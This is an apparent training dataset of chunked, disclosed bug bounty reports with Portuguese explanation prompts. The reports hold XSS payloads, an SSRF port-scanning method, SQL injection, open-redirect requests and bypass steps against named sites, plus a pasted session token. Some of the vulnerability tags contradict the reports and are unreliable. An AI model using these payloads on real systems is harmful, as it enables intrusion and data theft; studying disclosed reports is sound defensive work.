\"download-cache/lzo-${LZO_VERSION}.tar.gz\" ]; then\n wget -P download-cache/ \\\n \"http://www.oberhumer.com/opensource/lzo/download/lzo-${LZO_VERSION}.tar.gz\"\n fi\n}\n\nshell\ndownload_tap_windows () {\n if [ ! -f \"download-cache/tap-windows-${TAP_WINDOWS_VERSION}.zip\" ]; then\n wget -P download-cache/ \\\n \"http://build.openvpn.net/downloads/releases/tap-windows-${TAP_WINDOWS_VERSION}.zip\"\n fi\n}\n\ndownload_lzo () {\n if [ ! -f \"download-cache/lzo-${LZO_VERSION}.tar.gz\" ]; then\n wget -P download-cache/ \\\n \"http://www.oberhumer.com/opensource/lzo/download/lzo-${LZO_VERSION}.tar.gz\"\n fi\n}\n", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "java,dotnet,go", "chunk_type": "payload", "entry_index": 26}}, {"doc_id": "bb_method_27", "text": "This issue can be reproduced by following these easy steps: \n* Login to your account on wordpress.com\n* Setup burpsuite proxy with browser.\n* Select your site and navigate to manage>people\n* Enter any email address which is not already registered in wordpress.com and invite\n* Open this url in browser: https://wordpress.com/people/invites/yoursite.wordpress.com [change yoursite.wordpress.com with your site]\n* See the burp suite proxy tab and find the GET request to this endpoint [https://public-api.wordpress.com/rest/v1.1/sites/siteId_here/invites?http_envelope=1&status=all&number=100] [there will be a number instead of siteId_here]\n* In response of this GET request you will see JSON which will be consisting of the details about the invitations sent and there you will find \"invite_key\" and \"link\".\n* Copy the link and open this in another browser.\n* You can create account on behalf of this email without having access to the email and email verification is bypassed :)\n\n**See the attached video for POC**", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "php,go", "chunk_type": "methodology", "entry_index": 27}}, {"doc_id": "bb_summary_27", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Email Verification bypass on signup\n\nThis bug is related to wordpress.com. There is feature in wordpress.com which allow users to invite people. We have to enter email address to invite that particular person but the invite link and invite key is also available to the person who invited. This allow attackers to create the profile without having access to the email address and they can make account on behalf of any people who is not already signed up in wordpress.com\n\nImpact: This issue can be used to bypass email verification on signup. Attackers can create account on behalf on any person without having access to the email account. This issue is affecting integrity of the wordpress.com", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "php,go", "chunk_type": "summary", "entry_index": 27}}, {"doc_id": "bb_method_28", "text": "So we can differentiate between open, closed and filtered ports with the following:\n1. Open ports\ncurl will reply with TYPE after the PASV command\nexample:\nReceived: USER anonymous in 5\nReceived: PASS ftp@example.com in 5\nReceived: PWD in 5ms\nReceived: EPSV in 6ms\nReceived: PASV in 6ms\n**Received: TYPE I in 6ms**\nReceived: SIZE whatever in 5ms\nReceived: RETR whatever in 5ms\n\n2. Filtered\ncurl will timeout after the PASV command\nexample:\nReceived: USER anonymous in 6\nReceived: PASS ftp@example.com in 5\nReceived: PWD in 5ms\nReceived: EPSV in 6ms\nReceived: PASV in 5ms\nReceived: in **1011ms**\n\n3. Closed\ncurl will close the control channel connection immediately after PASV\nexample:\nReceived: USER anonymous in 6ms\nReceived: PASS ftp@example.com in 6ms\nReceived: PWD in 5ms\nReceived: EPSV in 5ms\nReceived: PASV in 5ms\nReceived: in **5ms**\n\nIn the attachments, I have included an ftp server (F1088885) that automates these steps.\nUsage:\n./ssrf_pasvaggresvftp.sh -t 127.0.0.1/31 -p 80,8000-8100 -x ./ftp_curl.sh -vv\n\nthe file included in the -x option is supposed to trigger the ssrf on the target server that would lead to the call of curl with the attacker's URL. In this case we simulate the issue by calling curl locally. The attachment F1088859 is the script used in the example.", "metadata": {"source_type": "bug_bounty", "vuln_type": "ssrf", "vuln_types": "ssrf,information_disclosure", "technologies": "", "chunk_type": "methodology", "entry_index": 28}}, {"doc_id": "bb_summary_28", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: CVE-2020-8284: trusting FTP PASV responses\n\nThe issue here arises from the fact that curl by default has the option CURLOPT_FTP_SKIP_PASV_IP disabled by default.\nAs a result, an attacker controlling the URL used by curl, can perform port scanning on behalf of the server where curl is running.\nThis can be achieved by setting up a custom FTP server that would setup the data channel through the PASV command using the port scanning target IP and port in the PASV connection info. \nOne good target for this issue are web applications vulnerable to SSRF.\n\nImpact: Through the port scanning, an attacker could uncover services running in the internal network.\nIt could also be possible to perform version enumeration or other information disclosure if the attacker can get back the results of curl.\nFor example, an attacker points curl at host:22 for the data channel . If an ssh server is running on that host, then it will reply with its version which is then disclosed to the attacker.\n\nUltimately, this issue can be used as a stepping stone to launch further attacks on the vulnerable server.", "metadata": {"source_type": "bug_bounty", "vuln_type": "ssrf", "vuln_types": "ssrf,information_disclosure", "technologies": "", "chunk_type": "summary", "entry_index": 28}}, {"doc_id": "bb_summary_29", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: [intensedebate.com] XSS Reflected POST-Based\n\nHello, i have found a XSS Reflected POST-Based in `https://www.intensedebate.com/ajax.php`.\n\nVulnerable(s) URL :\n\n```POST /https://www.intensedebate.com/ajax.php```\n\nVulnerable(s) Parameter(s):\n\n```\n$_POST['txt'];\n```\n\nPayload\n\n```\nazertyuiop<<>\n```\n\nImpact: A attacker can perform a phishing attack or perform a CORS attack", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,cors", "technologies": "php", "chunk_type": "summary", "entry_index": 29}}, {"doc_id": "bb_payload_29", "text": "Vulnerability: xss\nTechnologies: php\n\nPayloads/PoC:\nVulnerable(s) Parameter(s):", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,cors", "technologies": "php", "chunk_type": "payload", "entry_index": 29}}, {"doc_id": "bb_method_30", "text": "1. Using separate browsers or browser containers, login to two different accounts. At least one account should have admin privileges in order to invite users.\n2. In the other account under the [preferences tab](https://schedule.happy.tools/preferences), notice the user email, change the email to ``boy_child@wearehackerone.com`` and save changes.\n3. In the admin account under the [users tab](https://schedule.happy.tools/admin/users), click on ``Invite team members`` and input the email ``boy_child@wearehackerone.com``.\n4. Scroll down and click on ``Send invite``.\n5. The request will fail.\n6. Repeat steps 2 to 4, but changing the email to that of other users (test accounts) and the request to send an invite link will continuously fail.", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "go", "chunk_type": "methodology", "entry_index": 30}}, {"doc_id": "bb_summary_30", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Permanent DoS at https://happy.tools/ when inviting a user\n\n### Passos para Reproduzir\n1. Using separate browsers or browser containers, login to two different accounts. At least one account should have admin privileges in order to invite users.\n2. In the other account under the [preferences tab](https://schedule.happy.tools/preferences), notice the user email, change the email to ``boy_child@wearehackerone.com`` and save changes.\n3. In the admin account under the [users tab](https://schedule.happy.tools/admin/users), click on ``Invite team members`` and\n\nImpact: Through user enumeration of emails and mass exploitation, there is a permanent denial of service denying a Happy Tools admin from adding team members to their organization.", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "go", "chunk_type": "summary", "entry_index": 30}}, {"doc_id": "bb_method_31", "text": "Go to: `https://www.glassdoor.com/searchsuggest/typeahead?numSuggestions=8rk3s6%22%3Cimg/**/src%3D%22x%22/**/onx%3D%22%22/**/onerror%3D%22alert%60l0cpd%60%22%3Ef9y60`\n{F1092213}", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss", "technologies": "", "chunk_type": "methodology", "entry_index": 31}}, {"doc_id": "bb_summary_31", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Reflected XSS at https://www.glassdoor.com/ via the 'numSuggestions' parameter\n\n### Passos para Reproduzir\nGo to: `https://www.glassdoor.com/searchsuggest/typeahead?numSuggestions=8rk3s6%22%3Cimg/**/src%3D%22x%22/**/onx%3D%22%22/**/onerror%3D%22alert%60l0cpd%60%22%3Ef9y60`\n{F1092213}\n\n### Impacto\nThe attacker can execute JS code.", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss", "technologies": "", "chunk_type": "summary", "entry_index": 31}}, {"doc_id": "bb_summary_32", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Async search stores authorization headers in clear text\n\n### Passos para Reproduzir\n```\n# This just triggers an async-search as yourself.\nPOST /_async_search?size=0&wait_for_completion_timeout=0\n{\n \"query\": {\n \"match_all\": {}\n }\n}\n\n# This shows where the clear text authorization header is stored\nPOST /.async-search/_search\n{\n \"_source\": \"headers.*\"\n}\n```\n\n### Impacto\n- Super users can get the clear text credentials of other users.\n- An XSS with a superuser victim can now trivially get the authorization headers of its target.\n\nImpact: - Super users can get the clear text credentials of other users.\n- An XSS with a superuser victim can now trivially get the authorization headers of its target.", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,rce", "technologies": "", "chunk_type": "summary", "entry_index": 32}}, {"doc_id": "bb_payload_32", "text": "Vulnerability: xss\nTechnologies: \n\nPayloads/PoC:\n# This just triggers an async-search as yourself.\nPOST /_async_search?size=0&wait_for_completion_timeout=0\n{\n \"query\": {\n \"match_all\": {}\n }\n}\n\n# This shows where the clear text authorization header is stored\nPOST /.async-search/_search\n{\n \"_source\": \"headers.*\"\n}", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,rce", "technologies": "", "chunk_type": "payload", "entry_index": 32}}, {"doc_id": "bb_method_33", "text": "The following steps assume you are on a linux system. Everything will run on your host system. The IP in the client is hard-coded to `127.0.0.1` and the port is `50000`. The scripts are kept as simple as possible. \n\n1. Create a file `client.sh` with the content provided in the Supporting Material section below (don't start it now)\n2. Create the Javascript file (see Supporting Material section below) and run the example server (may you want to customize the port). You can also start a non-secure server using `createServer()` if you don't have an example key or cert around.\n3. You query the file descriptors with the command provided in the Supporting Material section below. Simply replace `{PID}` with the process id of your node server.\n4. Maybe you also want to watch the memory consumption with the tool you prefer.\n5. Now you are ready to start the client script.\n\nWe initially found this issue by running the Greenbone Vulnerability Manager on our server port with the **OvenVAS default** scanner, the **Fast and ultimate** configuration with all kind of vulnerability tests enabled and the **TCP-SYN Service Ping** alive check.\n\nThe affected code that causes this issue seems to be [here](https://github.com/nodejs/node/blob/c0ac692ba786f235f9a4938f52eede751a6a73c9/lib/internal/http2/core.js#L2918-L2929).\n\nWe are running on Linux x86 with kernel v4.19.148 with node v12.19.0.", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "java,node", "chunk_type": "methodology", "entry_index": 33}}, {"doc_id": "bb_summary_33", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: HTTP2 'unknownProtocol' cause Denial of Service by resource exhaustion\n\n### Passos para Reproduzir\nThe following steps assume you are on a linux system. Everything will run on your host system. The IP in the client is hard-coded to `127.0.0.1` and the port is `50000`. The scripts are kept as simple as possible. \n\n1. Create a file `client.sh` with the content provided in the Supporting Material section below (don't start it now)\n2. Create the Javascript file (see Supporting Material section below) and run the example server (may you want to customize the port). You c\n\nImpact: :\nAny code that relies on the http2 server is affected by this behaviour. For example the JavaScript implementation of GRPC also uses a http2 server under the hood.\n\nThis attack has very low complexity and can easily trigger a DOS on an unprotected server.\n\nThe above server example consumes about 6MB memory after start-up. Running the described attack causes a memory consumption of more than 400MB in approximately 30s and holding more than 7000 file descriptors. Both, the file descriptors and the memory, are never freed.", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "java,node", "chunk_type": "summary", "entry_index": 33}}, {"doc_id": "bb_summary_34", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: [intensedebate.com] SQL Injection Time Based On /js/commentAction/\n\nHello,\n\nI have found a SQLI Injection Time Based on `/js/commentAction/`.\n\nWhen a user want to submit/reply to a comment, a JSON payload was send by a GET request.\n\n\n```GET /js/commentAction/?data={\"request_type\":\"0\",+\"params\":+{+\"firstCall\":true,+\"src\":0,+\"blogpostid\":504704482,+\"acctid\":\"251219\",+\"parentid\":\"0\",+\"depth\":\"0\",+\"type\":\"1\",+\"token\":\"7D0GVbxG10j8hndedjhegHsnfDrcv0Yh\",+\"anonName\":\"\",+\"anonEmail\":\"X\",+\"anonURL\":\"\",+\"userid\":\"26745290\",+\"token\":\"7D0GVbxG10j8hndedjhegHsnfDrcv0Yh\",+\"mblid\":\"1\",+\"tweetThis\":\"F\",+\"subscribeThis\":\"1\",+\"comment\":\"w\"}} HTTP/1.1\nHost: www.intensedebate.com```\n\nThe key `\"acctid\":\"251219\"` is vulnerable to SQL Injection Time based\n\nImpact: Full database access holding private user information.", "metadata": {"source_type": "bug_bounty", "vuln_type": "sqli", "vuln_types": "sqli", "technologies": "", "chunk_type": "summary", "entry_index": 34}}, {"doc_id": "bb_method_35", "text": "1. build 6255.c (attached)\n 1. run it (with a debugger)\n 1. inspect the crash\n\nThe example app lists a directory with 40,000 files on funet.fi.", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "react", "chunk_type": "methodology", "entry_index": 35}}, {"doc_id": "bb_summary_35", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: CVE-2020-8285: FTP wildcard stack overflow\n\nUser 'xnynx' on github filed [PR 6255](https://github.com/curl/curl/issues/6255) highlighting this problem. **Filed publicly**\n\nMy first gut reaction was that this had to be a problem with `curl_fnmatch` as that has caused us grief in the past (and on most platforms we use the native `fnmatch()` now, but not on Windows IIRC and this is a reported to happen on Windows), but I then built a test program and I made it crash in what seems like potential stack overflow due to recursive calls to `wc_statemach` from within itself.\n\nImpact: I haven't yet worked out exactly how to get what into the stack and what the worst kind of exploit of this might be, but a stack overflow that can be triggered by adding/crafting files in the server feels bad.", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "react", "chunk_type": "summary", "entry_index": 35}}, {"doc_id": "bb_summary_36", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: SQL Injection Union Based\n\nHello, \n\nI have found a SQL Injection Union Based on `https://intensedebate.com/commenthistory/$YourSiteId `\nThe `$YourSiteId` into the url is vulnerable to SQL Injection.\n\nImpact: Full database access holding private user information and Reflected Cross-Site-Scripting", "metadata": {"source_type": "bug_bounty", "vuln_type": "sqli", "vuln_types": "sqli", "technologies": "", "chunk_type": "summary", "entry_index": 36}}, {"doc_id": "bb_summary_37", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: No rate limiting - Create data\n\nHello team Stripo, how are you?\n\nI found a rate limit for data creation.\n\nTarget = https://my.stripo.email/cabinet/#/my-services/298427?tab=data-sources\n\nRequest to Post:\n\n```\nPOST /emailformdata/v1/amp-lists?projectId= HTTP/1.1\nHost: my.stripo.email\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json;charset=UTF-8\nCache-Control: no-cache\nPragma: no-cache\nExpires: Sat, 01 Jan 2000 00:00:00 GMT\nX-XSRF-TOKEN: 3ef1a2b8-f640-457b-bac8-1d629d0f9498\nContent-Length: 198\nOrigin: https://my.stripo.email\nConnection: close\nReferer: https://my.stripo.email/cabinet/\nCookie: amplitude_id_246810a6e954a53a140e3232aac8f1a9stripo.email=eyJkZXZpY2VJZCI6ImU1NjAwZjk3LTFiY2QtNDIzOS1iZTczLWNmNWVhYmMzMTJkZFIiLCJ1c2VySWQiOm51bGwsIm9wdE91dCI6ZmFsc2UsInNlc3Npb25JZCI6MTYwNjc0NjU3NzcwMCwibGFzdEV2ZW50VGltZSI6MTYwNjc0Njg1ODg3OCwiZXZlbnRJZCI6MCwiaWRlbnRpZnlJZCI6MCwic2VxdWVuY2VOdW1iZXIiOjB9; _pin_unauth=dWlkPU1UUTFZemczWlRFdE1HSXdOeTAwT1Rrd0xUbGxNVEl0TWpBeE16WmpZVE00WlRZNA; _ga=GA1.2.730792257.1605012362; _pin_unauth=dWlkPU1UUTFZemczWlRFdE1HSXdOeTAwT1Rrd0xUbGxNVEl0TWpBeE16WmpZVE00WlRZNA; G_ENABLED_IDPS=google; __stripe_mid=e5538cc4-3896-4b96-b703-711ef38535d3313b41; _ga=GA1.3.730792257.1605012362; _gid=GA1.2.1102057235.1606746578; __stripe_sid=fcbc15d6-fe33-41ca-bd12-ad2a6fd80eb5a7fc3c; token=eyJhbGciOiJSUzUxMiJ9.eyJhdXRoX3Rva2VuIjoie1widXNlckluZm9cIjp7XCJpZFwiOjI5NDA3NyxcImVtYWlsXCI6XCJqYWFhaGJvdW50eUBnbWFpbC5jb21cIixcImxvY2FsZUtleVwiOlwicHRcIixcImZpcnN0TmFtZVwiOlwic2NyaXB0XCIsXCJsYXN0TmFtZVwiOlwiYm91bnR5XCIsXCJmYWNlYm9va0lkXCI6bnVsbCxcIm5hbWVcIjpudWxsLFwicGhvbmVzXCI6W10sXCJhY3RpdmVcIjp0cnVlLFwiZ3VpZFwiOm51bGwsXCJhY3RpdmVQcm9qZWN0SWRcIjoyOTg0MjcsXCJzdXBlclVzZXJWMlwiOmZhbHNlLFwiZ2FJZFwiOlwiY2JlOWMzMjItMDNhNS00NzQxLTlkMjYtNTc3MTc1MGI0M2MwXCIsXCJvcmdhbml6YXRpb25JZFwiOjI5MzgxNCxcIm93bmVkUHJvamVjdHNcIjpbMjk4NDI3XSxcImZ1bGxOYW1lXCI6XCJzY3Jpc\n\nImpact: The attacker can charge the application, creating massively.", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "dotnet,go", "chunk_type": "summary", "entry_index": 37}}, {"doc_id": "bb_payload_37", "text": "Vulnerability: rce\nTechnologies: dotnet, go\n\nPayloads/PoC:\nPOST /emailformdata/v1/amp-lists?projectId= HTTP/1.1\nHost: my.stripo.email\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: application/json, text/plain, */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/json;charset=UTF-8\nCache-Control: no-cache\nPragma: no-cache\nExpires: Sat, 01 Jan 2000 00:00:00 GMT\nX-XSRF-TOKEN: 3ef1a2b8-f640-457b-bac8-1d629d0f9498\nContent-Length: 198\nOrigin: https://my.stripo.email\nConnection:", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "dotnet,go", "chunk_type": "payload", "entry_index": 37}}, {"doc_id": "bb_summary_38", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Non-revoked API Key Disclosure in a Disclosed API Key Disclosure Report on Stripo\n\nCan you imagine discovering an API key disclosure vulnerability in a disclosed API key disclosure report? The same thing is what I came across while going through the disclosed reports at Stripo Inc. Plus, the disclosed API key isn't even revoked, and therefore I am still able to use the same API key to fetch response from the target.\n\nI am talking about #983331 where a security researcher reported secret API key leakage vulnerability in a JavaScript file at Stripo. This report is disclosed on HackerOne, and the team at Stripo have forgotten to blur the API keys from the report before disclosing it to the public. The API keys from Aviary and YouTube are disclosed in that report, and I tried using these API keys, and found out that they can still be used to fetch response from YouTube's API using Stripo's disclosed API key. I didn't check on Aviary though since I found out that Aviary is already a defunct image editor.\n\nImpact: By taking an advantage of this vulnerability, an attacker would be able to use Stripo's YouTube API Key for calling different API endpoints in services provided in the YouTube Data API.", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "java,go", "chunk_type": "summary", "entry_index": 38}}, {"doc_id": "bb_method_39", "text": "Visit the following URL;\n```\nhttps://radio.mtn.bj/info\n```\nYou will be presented with a PHP Info file exposing environment / PHP Variables.", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "php", "chunk_type": "methodology", "entry_index": 39}}, {"doc_id": "bb_summary_39", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: PHP Info Exposing Secrets at https://radio.mtn.bj/info\n\nDuring recon I discovered a PHP Info file exposing environment variables such as; Laravel APP_KEY, Database username/password, SMTP username/password, etc.\n\nImpact: Exposing passwords to critical services.\nProviding application keys used for encryption/decryption within the app.\nSending email coming from an official email address.", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "php", "chunk_type": "summary", "entry_index": 39}}, {"doc_id": "bb_payload_39", "text": "Vulnerability: unknown\nTechnologies: php\n\nPayloads/PoC:\nhttps://radio.mtn.bj/info", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "php", "chunk_type": "payload", "entry_index": 39}}, {"doc_id": "bb_method_40", "text": "Schema parser logic of curl library is vulnerable to \"Abusing URL Parsers\". Malicious user can use this weakness to bypass whitelist protection and perform Server Side Request Forgery against targets, that use vulnerable version of library.\n\n 1. curl \"ssrf3.twowaysyncapp.tk://google.com\" Protocol \"ssrf3.twowaysyncapp.tk\" not supported or disabled in libcurl\n 1. curl \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.twowaysyncapp.tk://google.com\" Host aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.twowaysyncapp.tk requested", "metadata": {"source_type": "bug_bounty", "vuln_type": "ssrf", "vuln_types": "ssrf,csrf", "technologies": "", "chunk_type": "methodology", "entry_index": 40}}, {"doc_id": "bb_summary_40", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Abusing URL Parsers by long schema name\n\nThere is known technique to exploit inconsistency of URL parser and URL requester logic to perform Server Side Request Forgery attack. Firstly it was presented by Orange Tsai at [A New Era Of SSRF Exploiting URL Parser](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf). Firstly I found the familiar issue at old versions of curl, but exploit did not seems works at latest releases. But now I'm ready to share new exploit of issue.\n\nImpact: Incorrect schema parser logic will allow malicious user to bypass protection mechanism and get access to the internal infrastructure of affected web servers.", "metadata": {"source_type": "bug_bounty", "vuln_type": "ssrf", "vuln_types": "ssrf,csrf", "technologies": "", "chunk_type": "summary", "entry_index": 40}}, {"doc_id": "bb_summary_41", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: [intensedebate.com] Open Redirect\n\nI have found a Open Redirect on `https://intensedebate.com//fb-connect/logoutRedir.php?goto=`, the parameters `$_GET['goto']` is reflected to the HTTP-Header Response `Location`\n\nHTTP Request\n\n```\nGET /fb-connect/logoutRedir.php?goto=\\http://\\ HTTP/1.1\nHost: intensedebate.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: y=y;\nUpgrade-Insecure-Requests: 1\n```\n\n\nHTTP Response\n\n```\nHTTP/1.1 302 Found\nServer: nginx\nDate: Thu, 03 Dec 2020 21:52:42 GMT\nContent-Type: text/html; charset=utf-8\nConnection: close\nP3P: CP=\"NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM\"\nSet-Cookie: fbName=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/\nSet-Cookie: fbUrl=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/\nSet-Cookie: fbPic=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/\nLocation: \\http://\\\nContent-Length: 0\n```\n\nImpact: An attacker can use this vulnerability to redirect users to other malicious websites, which can be used for phishing and similar attacks", "metadata": {"source_type": "bug_bounty", "vuln_type": "open_redirect", "vuln_types": "open_redirect", "technologies": "php,go,nginx", "chunk_type": "summary", "entry_index": 41}}, {"doc_id": "bb_payload_41", "text": "Vulnerability: open_redirect\nTechnologies: php, go, nginx\n\nPayloads/PoC:\nGET /fb-connect/logoutRedir.php?goto=\\http://\\ HTTP/1.1\nHost: intensedebate.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: y=y;\nUpgrade-Insecure-Requests: 1\n\nHTTP/1.1 302 Found\nServer: nginx\nDate: Thu, 03 Dec 2020 21:52:42 GMT\nContent-Type: text/html; charset=utf-8\nConnection: close\nP3P: CP=\"NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM\"\nSet-Cookie: fbName=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/\nSet-Cookie: fbUrl=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/\nSet-Cookie: fbPic=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/\nLocation: \\http://\\\nContent-Length: 0", "metadata": {"source_type": "bug_bounty", "vuln_type": "open_redirect", "vuln_types": "open_redirect", "technologies": "php,go,nginx", "chunk_type": "payload", "entry_index": 41}}, {"doc_id": "bb_summary_42", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Bypass Tracking Blocker Protection Using Slashes Without Protocol On The Image Source.\n\n- Some Way Has Been Discovered To Bypass Image Rewriting On HeyMail Using Slashes Without Protocol `\\/\\www.evil.com` That Allows Bypassing Tracking Blocker And Collect Users Information Via Emails.\n\nImpact: Bypassing Image Rewriting Function Witch Allows Trackers To Collect Users IPs Using Images.", "metadata": {"source_type": "bug_bounty", "vuln_type": "rce", "vuln_types": "rce", "technologies": "", "chunk_type": "summary", "entry_index": 42}}, {"doc_id": "bb_method_43", "text": "1- Logged in your wordpress website and create a post with block Poll, fill question and some choices\n\n{F1104221}\n 2- Adjust Poll Block, Confirmation Message -> On submission:Redirect to another webpage and Redirect address:javascript:alert(document.cookie) then click Update/Publish your post\n\n{F1104220}\n 3- Go to your created poll and Submit, you will see xss popup\n\n{F1104222}\n\nYou can see video PoC below for the steps:\n{F1104231}", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,open_redirect", "technologies": "php,java,go", "chunk_type": "methodology", "entry_index": 43}}, {"doc_id": "bb_summary_43", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: [sub.wordpress.com] - XSS when adjust block Poll - Confirmation Message - On submission:Redirect to another webpage - Redirect address:[xss_payload]\n\nDear Wordpress Team,\n\nToday when I tried to create a post with block \"Poll\" and I have found at Poll Block -> Confirmation Message -> On submission:Redirect to another webpage and Redirect address:[xss_payload]\n\nAt Redirect address line, I can save the ```javascript:alert(document.cookie)``` as an URL webpage after submit a poll. And when an authenticated wordpress user submitted a poll, their cookies may stolen by attacker", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,open_redirect", "technologies": "php,java,go", "chunk_type": "summary", "entry_index": 43}}, {"doc_id": "bb_payload_43", "text": "Vulnerability: xss\nTechnologies: php, java, go\n\nPayloads/PoC:\njavascript:alert(document.cookie)", "metadata": {"source_type": "bug_bounty", "vuln_type": "xss", "vuln_types": "xss,open_redirect", "technologies": "php,java,go", "chunk_type": "payload", "entry_index": 43}}, {"doc_id": "bb_method_44", "text": "1. Install the `Gubernator` frontend.\n 2. save the provided `config.yaml` file as the configuration file for Guberator, keep the same name.\n 3. Once you update the configuration the poc should be executed and a `ls` should be executed. \n\nTo Facilitate the process I have created a poc.py script in which I extracted the vulnerable code blocks from the test-infra repository to simulate the tools behaviour (Only from the main.py to illustrate the concept, same applies to the other occurence).", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "docker", "chunk_type": "methodology", "entry_index": 44}}, {"doc_id": "bb_summary_44", "text": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relat\u00f3rio: Code Injection via Insecure Yaml.load\n\nThe Kubernetes repo and tool, [test-infra](https://github.com/kubernetes/test-infra), uses the insecure yaml.load() function to set or update the `Gubernator` configuration with a yaml file which allows for code injection.\nVulnerable Line of Code:\n[https://github.com/kubernetes/test-infra/blob/master/gubernator/main.py#L36](https://github.com/kubernetes/test-infra/blob/master/gubernator/main.py#L36)\n[https://github.com/kubernetes/test-infra/blob/master/gubernator/update_config.py#L35](https://github.com/kubernetes/test-infra/blob/master/gubernator/update_config.py#L35)\n[https://github.com/kubernetes/test-infra/blob/master/gubernator/update_config.py#L48](https://github.com/kubernetes/test-infra/blob/master/gubernator/update_config.py#L48) \nVulnerable Files and functions: main.py:get_app_config()\n update_config.py:main()\n\nImpact: An attacker can exploit this vulnerability by crafting a malicious YAML file in order to execute system commands. An attacker can either find a way to load a malicious configuration file or entice a victim into loading it. This results in Command Execution.\nFor this reason I have marked the `User Interaction` of the CVSS score as required.", "metadata": {"source_type": "bug_bounty", "vuln_type": "unknown", "vuln_types": "unknown", "technologies": "docker", "chunk_type": "summary", "entry_index": 44}}, {"doc_id": "bb_method_45", "text": "1) Login at `https://intensedebate.com`\n2) Create your own site at 